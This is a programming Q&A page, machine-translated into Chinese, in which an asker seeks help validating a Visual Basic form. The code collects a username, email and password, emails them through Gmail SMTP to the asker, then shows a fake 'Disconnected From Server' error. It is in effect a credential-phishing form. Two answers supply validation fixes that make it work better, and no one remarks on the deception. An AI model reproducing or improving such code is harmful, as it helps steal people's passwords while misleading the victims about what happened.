2013-12-12 76 views
-1

Im在Visual Basic中編寫程序,用戶輸入信息並將輸出發送到我的電子郵件。我有一個問題,有人可以將所有需要填寫的文本留空,併發送電子郵件。這是我的代碼。Visual Basic代碼建議

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 
    If TextBox1.Text = "" Then 
     MsgBox("Username Is Missing") 
    Else 
    End If 
    If TextBox2.Text = "" Then 
     MsgBox("Email Is Mising") 
    Else 
    End If 
    If TextBox3.Text = "" Then 
     MsgBox("Password Is Mising") 
    Else 
    End If 
    Dim smtpServer As New SmtpClient() 
    Dim mail As New MailMessage() 
    smtpServer.Credentials = New Net.NetworkCredential("my email", "my passowrd") 
    'using gmail 
    smtpServer.Port = 587 
    smtpServer.Host = "smtp.gmail.com" 
    smtpServer.EnableSsl = True 
    mail = New MailMessage() 
    mail.From = New MailAddress("my email") 
    mail.To.Add("my email") 
    mail.Subject = "Username: " & TextBox1.Text 
    mail.Body = "Username : " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Passoword: " & TextBox3.Text 
    smtpServer.Send(mail) 
    MsgBox("Disconnected From Server, Please try again later!") 

如果有人能告訴我的代碼,使其在那裏他們有信息進入所有的文本框送這將是偉大的電子郵件!

+3

這個問題似乎是題外話,因爲它是關於代碼審查,屬於上http://codereview.stackexchange.com/ – MPelletier

回答

0

你可以試試這個。



    If TextBox1.Text = "" Then 
     MsgBox("Username Is Missing") 
     exit sub 
    End If 
    If TextBox2.Text = "" Then 
     MsgBox("Email Is Mising") 
     exit sub 
    End If 
    If TextBox3.Text = "" Then 
     MsgBox("Password Is Mising") 
     exit sub 
    End If 

感謝

+0

感謝偉大的工作! – Coder11

0
If String.IsNullOrEmpty (TextBox1.Text) Then 
    MsgBox("Username Is Missing") 
    TextBox1.Focus() 
    Exit Sub 
Else If String.IsNullOrEmpty (TextBox2.Text) Then 
    MsgBox("Email Is Mising") 
    TextBox2.Focus() 
    Exit Sub 
Else If String.IsNullOrEmpty (TextBox3.Text) Then 
    MsgBox("Password Is Mising") 
    TextBox3.Focus() 
    Exit Sub 
End If